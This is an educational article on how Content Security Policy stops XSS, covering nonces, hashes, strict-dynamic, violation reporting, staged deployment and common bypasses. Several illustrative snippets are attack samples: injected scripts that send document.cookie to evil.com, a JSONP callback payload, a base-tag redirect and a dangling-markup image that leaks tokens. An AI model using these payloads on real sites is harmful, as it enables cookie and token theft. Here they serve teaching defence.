How Content Security Policy (CSP) Works: Preventing XSS and Script Injection

Content Security Policy (CSP) is a browser security mechanism that prevents the execution of unauthorized scripts, styles, and other resources on a web page. Delivered as an HTTP response header (Content-Security-Policy), CSP defines a whitelist of trusted content sources that the browser enforces on every resource load and script execution. When a script attempts to execute that does not match the policy -- whether injected via cross-site scripting (XSS), a compromised third-party library, or a malicious browser extension -- the browser blocks it and optionally reports the violation to a server-side endpoint. CSP is standardized by the W3C (currently at Level 3) and supported by all modern browsers.

The fundamental insight behind CSP is that XSS is a failure of origin distinction: the browser cannot tell the difference between a script the developer intended to include and a script an attacker injected. CSP solves this by giving the developer a mechanism to explicitly declare which scripts are authorized. Instead of trying to detect malicious scripts (which is what WAFs attempt, with limited success), CSP prevents any unauthorized script from executing -- whether it is a known attack pattern or a novel zero-day.

CSP is not a replacement for proper input validation and output encoding -- those remain the primary defenses against XSS. But CSP is the strongest defense-in-depth layer available. When the application has an XSS vulnerability that the developer has not yet discovered (and all sufficiently complex applications do), CSP is the mechanism that prevents the vulnerability from being exploited.

CSP Directive Reference

A CSP policy consists of one or more directives, each controlling a specific type of resource. The most important directives:

Nonces: Per-Request Script Authorization

A nonce (number used once) is a random, unguessable value generated by the server for each HTTP response. The nonce is included in both the CSP header and the <script> tags that the server renders. The browser compares the nonce in each script tag against the nonce in the CSP header -- only scripts with a matching nonce execute.

# Server generates a random nonce for each response
Content-Security-Policy: script-src 'nonce-4AEemGb0xJptoIGFP3Nd'

# In the HTML, authorized scripts include the nonce
<script nonce="4AEemGb0xJptoIGFP3Nd">
  // This script executes -- nonce matches CSP header
  initializeApp();
</script>

# An injected script does NOT have the nonce
<script>
  // BLOCKED -- no nonce attribute, browser refuses to execute
  document.location = 'https://evil.com/steal?c=' + document.cookie;
</script>

The security of nonces depends on the nonce being unpredictable (cryptographically random, at least 128 bits) and unique per response. If the nonce is predictable (e.g., sequential, timestamp-based, or derived from a seed the attacker can guess), the attacker can include the correct nonce in their injected script. If the same nonce is reused across responses (e.g., because the server caches the response), an attacker who observes one response can predict the nonce in subsequent responses.

Nonces are the recommended approach for applications that serve server-rendered HTML with inline scripts. They are more flexible than hashes (because the script content can change without updating the policy) and more secure than domain allowlists (because they authorize specific script instances, not entire origins).

CSP Nonce-Based Script Authorization Web Server 1. Generate random nonce nonce = "4AEemGb0..." 2. Set CSP header with nonce 3. Add nonce attr to scripts Response Browser (CSP Enforcement) CSP: script-src 'nonce-4AEemGb0...' Parse HTML, find all <script> elements For each: check nonce attr matches CSP nonce No match? Block execution + report violation Authorized Script <script nonce="4AEemGb0..."> initializeApp(); </script> EXECUTES Nonce matches CSP header Injected Script (XSS) <script> fetch('https://evil.com/?c='+document.cookie) </script> BLOCKED No nonce attribute Violation reported to server CSP Violation Report blocked-uri: inline violated-directive: script-src source-file: page.html:42

Hashes: Content-Based Script Authorization

Hash-based CSP authorizes scripts based on a cryptographic hash of their content. The server computes the SHA-256, SHA-384, or SHA-512 hash of each authorized inline script's content and includes the base64-encoded hash in the CSP header. The browser independently hashes each inline script's content and compares it against the policy -- only scripts with matching hashes execute.

# The inline script content (including whitespace)
# alert('Hello, world!');
# SHA-256 hash (base64): qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=

Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='

Hashes are useful for static inline scripts that never change -- a fixed analytics snippet, a small initialization script, or a polyfill. They are less practical than nonces for dynamic content because any change to the script content (even adding a space) changes the hash and requires updating the CSP header.

Important limitation: hashes work only for inline scripts, not for external scripts loaded via src attributes. To authorize an external script by hash, you would need the Subresource Integrity (SRI) mechanism (<script src="..." integrity="sha256-...">), which ensures the loaded file matches the expected hash. CSP Level 3 allows script-src hashes to match external scripts if SRI is used, but browser support varies.

'strict-dynamic': Trusted Script Propagation

The 'strict-dynamic' keyword (CSP Level 3) is designed for applications that dynamically load scripts at runtime. When present in script-src, it modifies the CSP behavior in two important ways:

  1. Scripts that are authorized by a nonce or hash can dynamically create and load additional scripts (via document.createElement('script'), import(), or Worker()), and those dynamically created scripts are automatically trusted -- they inherit the authorization of the script that created them. This is called trust propagation.
  2. All domain-based allowlists (https://cdn.example.com, *.example.com) are ignored. Only nonces, hashes, and dynamically loaded scripts are trusted. This prevents the common mistake of allowlisting an entire CDN origin that an attacker can also upload scripts to (e.g., a public CDN like cdnjs.cloudflare.com that hosts thousands of JavaScript libraries, some of which contain useful gadgets for attackers).
# Strict CSP with strict-dynamic
Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic';
  object-src 'none';
  base-uri 'self'

# The nonce-authorized script can dynamically load additional scripts
<script nonce="abc123">
  const s = document.createElement('script');
  s.src = 'https://cdn.example.com/app.js';  // trusted via strict-dynamic
  document.head.appendChild(s);

  // app.js can also load its own dependencies -- trust propagates
</script>

The 'strict-dynamic' approach is Google's recommended CSP deployment strategy, detailed in their research paper "CSP Is Dead, Long Live CSP" (2016). The paper demonstrated that the majority of CSP policies deployed on the web were trivially bypassable because they relied on domain-based allowlists, and proposed nonce-based policies with 'strict-dynamic' as the solution. The key insight is that controlling the entry point (which initial scripts can execute) is more important than trying to enumerate all legitimate script sources (which is error-prone and bypassable).

'unsafe-inline' and 'unsafe-eval': The Escape Hatches

Two CSP keywords effectively disable large portions of CSP's protection and should be avoided:

'unsafe-inline' allows all inline scripts and event handlers to execute, regardless of their source. This completely negates CSP's XSS protection, because the entire point of CSP is to distinguish between authorized and unauthorized inline scripts. If 'unsafe-inline' is present, the attacker's injected <script> tag or onerror handler executes freely. The only legitimate use of 'unsafe-inline' is as a transitional step during CSP deployment -- it is listed in the policy alongside nonces/hashes so that browsers that do not support nonces (legacy browsers) still allow scripts to execute. Modern browsers that support nonces ignore 'unsafe-inline' when a nonce is present.

'unsafe-eval' allows the use of eval(), Function(), setTimeout('string'), and setInterval('string'). These functions convert strings into executable code, which is exactly what XSS exploits do. If an attacker can inject a string into a code path that reaches eval(), 'unsafe-eval' means CSP will not prevent execution. Some JavaScript frameworks and template engines require eval() for template compilation (e.g., older versions of Angular.js, Handlebars runtime compilation), but modern frameworks have moved to precompiled templates that do not require 'unsafe-eval'.

Reporting: report-uri and report-to

CSP can send violation reports to a server-side endpoint when the browser blocks a resource. This is invaluable for monitoring -- it tells you when CSP is blocking something, whether that is an actual attack or a false positive (a legitimate script that was not included in the policy).

# report-uri (deprecated but widely supported)
Content-Security-Policy: script-src 'nonce-abc123';
  report-uri /csp-report

# report-to (modern, uses Reporting API)
Content-Security-Policy: script-src 'nonce-abc123';
  report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-report"

A violation report is a JSON object sent via POST containing:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "referrer": "",
    "violated-directive": "script-src",
    "effective-directive": "script-src",
    "original-policy": "script-src 'nonce-abc123'; report-uri /csp-report",
    "blocked-uri": "inline",
    "status-code": 200,
    "source-file": "https://example.com/page",
    "line-number": 42,
    "column-number": 15
  }
}

The blocked-uri field reveals what was blocked: "inline" for inline scripts, "eval" for eval() calls, or a URL for external resource loads. The source-file, line-number, and column-number pinpoint where the violation occurred in the HTML document, which is essential for debugging.

Content-Security-Policy-Report-Only

The Content-Security-Policy-Report-Only header applies the policy in monitoring mode: violations are reported but not blocked. This is the essential tool for deploying CSP safely. The deployment process is:

  1. Deploy a Content-Security-Policy-Report-Only header with a strict policy and a report endpoint.
  2. Collect violation reports for days or weeks. Analyze the reports to identify legitimate scripts that are not covered by the policy (false positives).
  3. Update the policy to include missing nonces, hashes, or source origins for legitimate scripts.
  4. Repeat until the violation rate from legitimate traffic drops to near zero.
  5. Switch to the enforcing Content-Security-Policy header. Keep reporting enabled to detect new violations from application changes.

Both headers can be sent simultaneously, which is useful for testing a stricter policy while enforcing a less strict one. The enforcing header blocks violations per the current policy, while the report-only header reports violations against the candidate stricter policy without affecting users.

CSP Bypass Techniques

Despite its strength, CSP can be bypassed when policies are poorly constructed. Understanding these bypasses is essential for writing effective policies:

JSONP Endpoints

If the CSP allowlists a domain that hosts a JSONP endpoint, an attacker can use that endpoint as a script source. JSONP endpoints return user-controlled data wrapped in a JavaScript function call -- effectively eval() over HTTP:

# CSP allows scripts from api.example.com
Content-Security-Policy: script-src 'self' https://api.example.com

# Attacker injects a script tag pointing to a JSONP endpoint
<script src="https://api.example.com/jsonp?callback=alert(document.cookie)//">
</script>
# The response is: alert(document.cookie)//({"data": "..."})
# This executes because the source domain is in the CSP allowlist

The defense is to avoid domain-based allowlists (use nonces/hashes instead) or to ensure that allowlisted domains do not have JSONP endpoints. This is one of the key reasons Google recommends 'strict-dynamic' over domain allowlists.

CDN-Hosted Gadgets

If the CSP allowlists a public CDN (e.g., https://cdnjs.cloudflare.com), an attacker can reference any library hosted on that CDN -- including libraries that contain useful primitives for exploitation. For example, AngularJS (when loaded) provides template injection capabilities that can execute arbitrary JavaScript without directly using <script> tags, bypassing CSP. The research paper "An Unexpected Journey into the Unexpected" (2024) catalogued hundreds of CDN-hosted libraries that can be abused as CSP bypass gadgets.

Base URI Manipulation

If base-uri is not restricted, an attacker who can inject a <base href="https://evil.com/"> tag can redirect all relative script URLs to their server. A script tag like <script src="/app.js"> would load from https://evil.com/app.js instead of the legitimate server. The defense is to always include base-uri 'self' or base-uri 'none' in the CSP policy.

Dangling Markup Injection

Even when script execution is blocked, an attacker may be able to exfiltrate data through HTML injection that does not require JavaScript. For example, injecting an unclosed <img src="https://evil.com/?data= tag causes the browser to include everything between the injection point and the next " character as part of the URL -- potentially capturing sensitive data like CSRF tokens that appear later in the HTML. CSP's img-src directive limits where images can be loaded from, mitigating this vector.

Building a Strict CSP: Step by Step

A production-grade CSP policy follows these principles:

# Recommended strict CSP policy
Content-Security-Policy:
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  form-action 'self';
  connect-src 'self' https://api.example.com;
  img-src 'self' data: https:;
  font-src 'self';
  report-to csp-endpoint

Key design decisions:

CSP Deployment Maturity Model Stage 0 No CSP No protection XSS executes freely Risk: Critical Stage 1 Report-Only Monitor violations No blocking yet Identify gaps Duration: 2-4 weeks Stage 2 Basic Enforce Domain allowlists + nonces for inline Blocks basic XSS Still bypassable Stage 3 Strict + strict-dynamic Nonce-only (no domain lists) strict-dynamic for deps object-src 'none' base-uri 'self' Strongest XSS protection Attack Vector Coverage Attack Vector No CSP Report-Only Basic Strict Inline <script> injection Open Logged Blocked Blocked Event handler injection Open Logged Blocked Blocked JSONP on allowed domain Open Logged Open Blocked CDN gadget abuse Open Logged Open Blocked eval() exploitation Open Logged Blocked* Blocked * Blocked if 'unsafe-eval' is not in policy

CSP and Single-Page Applications

Single-Page Applications (SPAs) present unique CSP challenges. An SPA typically loads a JavaScript bundle that dynamically generates all page content, makes API calls via fetch(), and manages routing client-side. CSP considerations for SPAs:

CSP and CORS

CSP and CORS serve different purposes and operate independently. CORS controls which origins can read responses from a server (enforced on the response). CSP controls which resources a page can load and execute (enforced on the page). A cross-origin script load must satisfy both: CSP must allow the script's origin, and if the script is loaded with integrity metadata (SRI), CORS headers must be present on the response to allow the browser to check the integrity hash.

Common confusion: CSP's connect-src does not replace CORS. Even if connect-src allows https://api.example.com, the API server must still send appropriate Access-Control-Allow-Origin headers for cross-origin requests to succeed. CSP and CORS are complementary, not substitutes.

CSP Adoption and Real-World Effectiveness

Despite CSP being available in browsers since 2012, adoption of effective CSP policies remains low. Research by Google (published at CCS 2016) found that 94.72% of CSP policies in the wild were trivially bypassable, primarily due to reliance on domain-based allowlists that included CDNs hosting JSONP endpoints or attacker-controllable content. Only policies using nonces or hashes with 'strict-dynamic' provided meaningful XSS protection.

The main barriers to CSP adoption are:

See It in Action

Content Security Policy is deployed on many major websites, including Google, GitHub, Twitter/X, and Facebook. The effectiveness of these policies depends on proper configuration -- a weak CSP with 'unsafe-inline' provides little more protection than no CSP at all. Combined with a WAF for server-side request filtering and proper XSS prevention in application code, CSP forms the browser-side layer of a comprehensive web security strategy.

Use the god.ad BGP Looking Glass to explore the networks of major cloud platforms and CDN providers that serve CSP-protected web applications. The BGP routing infrastructure that delivers these security headers is itself a critical link in the security chain -- ensuring that the CSP header reaches the browser unmodified requires trust in every network hop along the AS path.

See BGP routing data in real time

Open Looking Glass
More Articles
How TLS/HTTPS Works: Securing the Internet's Traffic
Certificate Transparency: How CT Logs Secure the Web's PKI
How Firewalls Work: Packet Filtering, Stateful Inspection, and Beyond
What is Cross-Site Scripting (XSS)?
What is Cross-Site Request Forgery (CSRF)?
What is Server-Side Request Forgery (SSRF)?